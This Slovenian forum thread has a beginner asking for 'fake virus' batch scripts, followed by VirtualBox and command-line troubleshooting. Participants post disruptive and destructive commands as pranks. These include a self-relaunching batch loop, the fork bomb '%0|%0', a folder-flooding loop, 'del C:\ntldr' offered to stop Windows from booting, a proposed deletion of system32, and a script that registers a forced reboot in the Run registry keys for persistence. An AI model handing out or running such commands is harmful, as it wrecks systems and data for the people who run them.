» »

Batch (.bat) datoteke

Batch (.bat) datoteke

Temo vidijo: vsi
«
1
2

einstein :P ::

Pozdravljeni,
malo sem se igral s temi fake virusi, ki jih ustvariš v beležnici in nato shraniš, kot ".bat" datoteko. Sicer se ne ukvarjam s programiranjem ampak mi je pa zanimiva stvar in sem zato poskušal narediti več različnih fake virusov in jih tudi preizkusil. Čeprav so tile virusi dokaj nenevarni pa vseeno znajo povzročiti veliko preglavic in celo "zamrzniti" sistem oz. mu otežiti, da bi zraven delal še kaj drugega. Sedaj pa bi vas izkušene programerje malo povprašal po kakšnih zanimivih kodah, ki bi naredile virus bolj učinkovit. Lahko dodate tudi kako drugo uporabno kodo ali pa kakšno vašo kodo, ki ste jo sami ustvarili, npr.: kakšna cmd igrica ali kalkulator ali timer... karkoli uporabnega ali zanimivega.

Sam sem ravno ustvaril nek fake virusek, ki je zelo zelo preprost(sem trenutno še bolj noob kar se tiče programiranja...) gre za .bat datoteko, ki ko jo odpreš odpre CMD in ga takoj zapre in hkrati ponovno odpre isto datoteko in to se non-stop ponavlja.

Tukaj pa je zelo preprosta koda, ki sem jo naredil:

@echo off
exit
start test.bat

Ko to napišete v beležnici samo še shranite, kot "test.bat" (nujno mora biti "test.bat", ker je v kodi ukaz, ki bo potem odprl "test.bat" datoteko in tako ponavljal proces. lahko pa tudi zamenjate "test.bat" v kodi za katero koli besedo, številko... samo, da je na koncu ".bat". Ime vaše batch datoteke pa mora biti enako tistemu v kodi). Ko odprete ta "virusek" dobite prav lep, nekoliko halucinacijski pojav na zaslonu, ker se CMD sam non-stop odpira in zapira zelo hitro in tako dobite nekoliko zabrisana in prozorna okna, ki se pojavljajo. :))
Trenutno ne poznam druge poti razen restarta ali shutdowna, kot da se preprosto odjavim in s tem prekličem proces. Zelo bi bil pa tudi hvaležen, če bi mi kdo znal povedati kakšno preprosto pot, po kateri bi preklical ta nadležen virusek - naprimer še eno .bat datoteko, s katero bi preklical ta proces. Ponavadi se te stvari tudi same ustavijo po kakšni minuti, ne vem pa zakaj - tudi to bi bilo dobro vedeti.

Torej, vsaka koda, nasvet ali informacija je dobrodošla.

L.p., hvala za odgovore :)
STAY OUT OF MY TERRITORY!
  • zaklenil: bluefish ()

Wisse ::

Poizkusi s "Pause/Break" gumbom na tipkovnici, mogoče ti uspe ustaviti tvoj "virusek" (nisem testiral).

amigo_no1 ::

1x pritisneš "Ctrl+C" in je konec.

btw,
"exit" v drugi vrstici povzroči da BAT fajl prekine delovanje.

Zgodovina sprememb…

technolog ::

Tole probaj:

%0|%0

einstein :P ::

@Wisse
@amigo_no1

hvala obema. :)



technolog je izjavil:

Tole probaj:

%0|%0


Haha, sem probal in je zasedenost rama poskočila na 99% in mi ni preostalo drugega, kot gumb za izklop. :))

Zanima me, če bi mi kdo samo razložil, kaj pomeni "echo" oz. "echo off" in kdaj ga je treba uporabiti? :P
STAY OUT OF MY TERRITORY!

einstein :P ::

Tega še nisem preizkusil ampak po moje se nebi dobro končalo, če bi delovalo. :D

Koda:

@echo off
md D:\Uporabnik\namizje\Nova_mapa
start test.bat

in shranite kot "test.bat"

Ko bi odprl bi mi verjetno namizje preplavilo z novimi mapami :))

P.S. ne priporočam preizkušanja, razen če preimenujete cilj v neko mapo, ki jo lahko na koncu samo izbrišete.
STAY OUT OF MY TERRITORY!

einstein :P ::

Ups, pravzaprav ne ustvarja map, ker ko naredi eno ne more narediti še ene enake, torej bi moral nek random sistem ustvariti za generiranje imen map, če bi šlo?
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

del C:\ntldr
To probaj
#yolo

einstein :P ::

Tole deluje:

@echo off
md D:\Uporabnik\namizje\Nova_mapa%random%
start test.bat

Ustavite pa očitno samo s pause/preak gumbom, nekatere druge "viruske" pa s Ctrl+C v zahvalo uporabnikoma: Wisse in amigo_no1
:))
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -
f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add
hkey_local_machinesoftwaremicrosoftwindowscurrentv
ersionrun /v startAPI /t reg_sz /d
c:windowshartlell.bat /f
reg add
hkey_current_usersoftwaremicrosoftwindowscurrentve
rsionrun /v /t reg_sz /d
c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

shrani kot hshutdown.bat
#yolo

einstein :P ::

Zeratul ^^ je izjavil:

del C:\ntldr
To probaj


Tole se mi pa ne sliši dobro (nebi ravno rad brisal nekih datotek od windowsa)
Kaj pa se zgodi? Raje nebi probal 8-O
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

Windows ne dela vec :)
#yolo

einstein :P ::

Zakaj si mi pa potem poslal? lol se dobro da nisem tako naiven da bi kar vse probal. saj nisem mislil pravih virusov :))

Kaj pa tole:

@echo off
del C:\Windows\system32
y
exit

bi to delovalo??? :P
STAY OUT OF MY TERRITORY!

bluefish ::

Postavi si virtualko in poskušaj.
Če ti dejansko uspe sesuti sistem ali ga spraviti v loop, pa obnoviš na snapshot.

Zgodovina sprememb…

  • spremenil: bluefish ()

einstein :P ::

bluefish je izjavil:

Postavi si virtualko in poskušaj.


Virtualen Windows? Kako pa to narediš? Rabiš en program v katerem laufa še en windows?
STAY OUT OF MY TERRITORY!

bluefish ::

Da - recimo VirtualBox ali VMware Player,...

Zeratul ^^ ::

Da. Npr wmvare ali virtual box
tisti hshutdown pa ni pravi virus..gres v safe mode in ga izbrises :)
#yolo

bluefish ::

Pravzaprav nič od tega ni virus. So le navadne skripte.

einstein :P ::

Aha, ima pa kdo izkušnje z VirtualPC od Microsofta?
Kje pa dobim zastonj win 7 .iso datoteko in product key?

Hvala
STAY OUT OF MY TERRITORY!

bluefish ::

VirtualPC je OK, vendar veliko več možnosti ponuja VirtualBox.

Če si dijak ali študent, dobiš ISO ter serijsko na MSDNAA. Itak pa za igračkanje v virtualki ni nujno potrebna aktivacija.

einstein :P ::

bluefish je izjavil:

VirtualPC je OK, vendar veliko več možnosti ponuja VirtualBox.

Če si dijak ali študent, dobiš ISO ter serijsko na MSDNAA. Itak pa za igračkanje v virtualki ni nujno potrebna aktivacija.



Aha, hvala. :)
STAY OUT OF MY TERRITORY!

einstein :P ::

Sem instaliral VirtualBox in ko hočem iz DVD pogona pognati win 95 (ISO datoteka) mi napiše: FATAL: No bootable medium found! System halted. :(

Pomoč prosim strokovnjaki! Kakšna ideja? Na internetu ne najdem kakšne pametne rešitve.
STAY OUT OF MY TERRITORY!

bluefish ::

Za začetek vsaj preleti tole: http://www.virtualbox.org/manual/ch01.h...

einstein :P ::

Sem preletel vse in nisem našel nič o teh napakah. Windows host ustreza, tudi win 95 je podprt kot guest, ram sem dal 512Mb, prostora 2Gb, označil pot do ISO datoteke ampak kar naprej dobivam to napako. Mislite, da je ISO zanič? Pomoč prosim! :8)

Hvala
STAY OUT OF MY TERRITORY!

einstein :P ::

Zdaj sem še win 3.1 probal in dobim enako napako :O

Kaj bi bilo to?
STAY OUT OF MY TERRITORY!

einstein :P ::

Pa tudi na win 7 ne dela, ki preverjeno dela na fizičnem sistemu. :(
Kaj pa zdaj???
Pomoooooooooooooooooooooooooč proooooooooooosim!!!!!!! :'(
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

Daj vec kot 2gb...vsaj 5 :)
#yolo

einstein :P ::

Zeratul ^^ je izjavil:

Daj vec kot 2gb...vsaj 5 :)


Sem dal 5Gb in še vedno isto...

Tukaj je screenshot, da lahko vidite, če je kaj narobe nastavljeno:


http://shrani.najdi.si/?2I/y2/m6QKxn5/v...

Hvala
STAY OUT OF MY TERRITORY!

Zgodovina sprememb…

Master_X ::

Em, pa si dal ti .iso file v emulator ali kako si "določil pot do njega"? Ker mi je čudno da ti tam piše pri CD/DVD drivu "Windows95_blabla.iso". Zgleda mi da ti prikazuješ image (.iso) in ne vsebine image-a (moraš zapečt na CD ali pa emulirat v Daemon Tools ali čemu podobnem). To je moje opažanje, lahko je popolnoma napačno.

bluefish ::

Ja, čudno tole.
Načeloma izbereš ISO ali ga mountaš oz. vstaviš fizičen CD, nato ob zagonu virtualke, če se namestitev ne zažene, izbereš ustrezen pogon.

einstein :P ::

ja, jaz sem naložil ISO iz interneta in v virtual boxu naštimal, da se zažene direktno iz mape "prenosi". pa tudi na dvd sem zapekel s programom za zapisovanje ISO datotek in poskušal iz dvdja zagnati pa še vedno nič, tudi win 7 sem probal, ki na fizični mašini dela super sem probal pa enako napako dobim. naložil sem tudi virtualpc in tam isto nekaj pokaže v tem slogu...
STAY OUT OF MY TERRITORY!

einstein :P ::

Trenutno mi je uspelo celo pognati xp na fizičnem cdju v virtualbox. Ostali OS-ji pa brez uspeha za enkrat... :)
STAY OUT OF MY TERRITORY!

einstein :P ::

XP deluje... a mogoče kdo ve kako se znebiti laga miške?

Hvala, lp

amigo_no1 je izjavil:

1x pritisneš "Ctrl+C" in je konec.

btw,
"exit" v drugi vrstici povzroči da BAT fajl prekine delovanje.


ja, imaš prav, "exit" je v zadnji vrstici, v drugi pa "start test.bat"

lp
STAY OUT OF MY TERRITORY!

Zgodovina sprememb…

amigo_no1 ::

win 3.1, w9x v 999% niso boot-able.

Prvo si namestil dos, potem winse oz gui.

einstein :P ::

Naj mi kdo pomaga! Ko hočem s pomočjo CMD-ja zbrisat datoteko z namizja vedno napiše: "could not find D:\..."
Recimo imam datoteko z imenom "A" na namizju in v CMD vpišem: del D:\Uporabnik\Namizje\A in potem vedno dobim to sporočilo, prej ga nisem dobival. Kaj bi bilo zdaj narobe? :|

Hvala
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

Ker je se nekaj prej kot Uporabnik..Ne spomnim se ravno kaj ker nimam XP
#yolo

einstein :P ::

ja jaz tudi nimam xpja, mam win 7 in ni nič pred uporabnik... :(
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

Pri win 7 je C:Uporabnik/TvojeIme/Namizje ...
#yolo

einstein :P ::

Žal ni to, tudi namizje ni na C ampak na D. še kakšna ideja?

Pa pri CMD imam odprt direktorij: "C:\Windows\System32>" če to kaj pomaga
STAY OUT OF MY TERRITORY!

Zgodovina sprememb…

Zeratul ^^ ::

Mogoce imas pa win v anglescini.
#yolo

einstein :P ::

nimam, mam v slo ampak mi enkrat v CMD pokaže "could not found", spet drugič pa "navedene poti ni bilo mogoče najti" čudno
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

cmd je v ang...zakaj imas winse na D instalirane?
#yolo

einstein :P ::

saj nimam, winsi so na Cju, ko pa z desno kliknem na kakšno mapo na namizju in izberem lastnosti pa piše pri cilju: D:\Uporabnik\Namizje
STAY OUT OF MY TERRITORY!

Zeratul ^^ ::

Ti lepo v cmd napisi
del C:Uporabniki/TvojeIme/Namizje/Datoteka ki jo hoces zbrisati

Mora delat
#yolo

einstein :P ::

zelo čudno: ko napišem po angleško mi vrne odgovor "navedene poti ni bilo mogoče najti", ko pa po slovensko napišem pa po angleško odgovori "could not find" ;((
STAY OUT OF MY TERRITORY!

einstein :P ::

No poglej:

slika: http://shrani.najdi.si/?1k/xB/4wZfmspt/...

vidiš v čem je težava?
STAY OUT OF MY TERRITORY!

Duhec ::

Beksleš ti manjka.

einstein :P ::

haha, samo končnico datoteke je bilo treba dodati :)) kako sem lahko to pozabil :P :D

Duhec je izjavil:

Beksleš ti manjka.


ja saj tudi ko sem ga imel je bilo isto. ampak manjkala je končnica datoteke. :))
STAY OUT OF MY TERRITORY!

Zgodovina sprememb…

Duhec ::

V bistvu se igraš skrivalnice. Kakšna končnica? Omenjal si datoteko z imenom A in nič več.
Zavedaj se, da smo na forumu vsi slepi in moraš praktično vse točno tako kot vidiš ti to opisat nam z besedami. :)

einstein :P ::

Zdaj imam pa še eno vprašanje: ali se da simulirati pritisk tipk na tipkovnici z datoteko .bat? recimo, da ko bi pognal datoteko, da bi se zgodilo, kot da bi pritisnil npr.: Ctrl+Alt+Delete?

pa če lahko še kak primer kode prosim

Hvala, lp :)
STAY OUT OF MY TERRITORY!
«
1
2


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

Zagon RLM-serverja avtomatsko

Oddelek: Programska oprema
232200 (1872) Hayabusa
»

kako se začeti učit hekanja? (strani: 1 2 )

Oddelek: Pomoč in nasveti
6815603 (13287) einstein :P
»

Aplikacija za countdown

Oddelek: Pomoč in nasveti
7830 (731) __jack__
»

fake virus za izobraževalne namene

Oddelek: Programiranje
202269 (1337) japol
»

nekaj enostavnega za vsakdanjo rabo...

Oddelek: Programiranje
121869 (1386) milan0

Več podobnih tem